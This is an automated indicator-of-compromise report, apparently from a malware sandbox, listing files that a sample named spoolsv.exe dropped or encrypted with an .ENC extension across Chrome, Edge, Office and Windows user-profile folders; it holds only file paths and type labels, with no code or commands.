IOC Report
spoolsv.exe

loading gif

Files

File Path
Type
Category
Malicious
spoolsv.exe
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
initial sample
 malicious
C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jtx.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs.ENC
Alpha compressed COFF
dropped
 malicious
C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs.ENC
Alpha compressed COFF
dropped
 malicious
C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx.ENC
Alpha compressed COFF
dropped
 malicious
C:\Users\user\AppData\Local\Comms\UnistoreDB\store.jfm.ENC
DOS executable (COM, 0x8C-variant)
dropped
 malicious
C:\Users\user\AppData\Local\Comms\UnistoreDB\store.vol.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651E6B08-3C.pma.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Affiliation Database.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_1.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache\index.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache\index.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\InterestGroups.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Reporting and NEL.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Trust Tokens.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PrivateAggregation.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Shortcuts.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Visited Links.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_1.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\index.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\spoolsv.exe.log
CSV text
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8\v1FieldTypes.json.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1\crl-set.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cu.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cy.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1901.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1996.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-ch-1901.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-gb.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-us.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-et.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-ga.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hu.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-nb.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-nn.hyb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_35.ttf.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\GameDVR\KnownGameList.bin.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230170v1.xml.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230172v1.xml.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230170v1.xml.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230172v1.xml.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\topTraffic_638004170464094982.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00001.jrs.ENC
Alpha compressed COFF
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00002.jrs.ENC
Alpha compressed COFF
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\10f5ef49-b826-4bae-a469-4fe1cdaa885f.tmp.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\user-PC-20231005-0843.log.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\user-PC-20231005-0844.log.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\user-PC-20231005-0847.log.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\JSAMSIProvider32.dll.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_1097730144\873489b1-33b2-480a-baa2-641b9e09edcd.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_1414705840\e8d11bd0-b939-446e-b741-2c68ed471a53.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_1974482915\01d00eb7-ae22-4601-b5b4-6bd76494c105.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_1990501612\1187695d-8276-4e31-8de1-9e57768989bd.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_2117939348\c78f9967-7a8c-44b0-ad94-732b63c89638.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_308048737\12ed7c6f-b741-47d7-afa5-30f752dc978b.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_492380506\2132f61f-f790-4ae6-a355-8cf9a1533800.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_529259725\9e51170b-7adf-40ab-83b6-5f97b13bedcb.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_669696935\c50698d5-282c-4c8d-9fa6-c155f2d8d379.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\edge_BITS_3244_677372717\84fb0759-2f62-4b78-b3f8-d06ffbe5ed10.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\f92dd30f-d70e-4c79-98e6-b827a8bb342f.tmp.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\prep_foundation_win32_bundle_V8_perf.cache.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\common\analytics.js.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\libs\jquery-3.1.1.js.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\scoped_dir5952_991612011\CRX_INSTALL\libs\jquery-3.1.1.min.js.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\wct7120.tmp.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\wctB366.tmp.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Temp\wctDE6E.tmp.ENC
data
dropped
 malicious
C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp.ENC
data
dropped
C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp.ENC
data
dropped
C:\Users\user\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst.ENC
data
dropped
C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdp.ENC
data
dropped
C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdpresource.ENC
data
dropped
C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db-shm.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db-wal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock.ENC
data
dropped
C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\metadata.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Affiliation Database-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG.old.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsSiteData-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DIPS-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_0.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_2.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_3.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\MANIFEST-000001.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\CURRENT.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\LOG.old.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\MANIFEST-000001.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\MANIFEST-000001.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG.old.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\000003.log.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\MANIFEST-000001.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_0.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_2.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_3.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\NetworkDataMigrated.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Reporting and NEL-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Trust Tokens-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials\LOG.old.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PreferredApps.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PrivateAggregation-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\LOG.old.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB\LOG.old.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\MANIFEST-000001.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions\Session_13340965317813669.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions\Session_13340965342984957.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions\Tabs_13340965317929160.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions\Tabs_13340965343135326.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\SharedStorage.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Shortcuts-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\CURRENT.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\MANIFEST-000001.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\CURRENT.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\MANIFEST-000001.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage\QuotaManager-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db\LOG.old.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db-journal.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store\LOG.old.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store\LOG.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store\LOG.old.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\MANIFEST-000001.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\CURRENT.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOCK.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\trusted_vault.pb.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\First Run.ENC
Non-ISO extended-ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_0.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_2.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_0.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_2.ENC
data
dropped
C:\Users\user\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_3.ENC
data
dropped
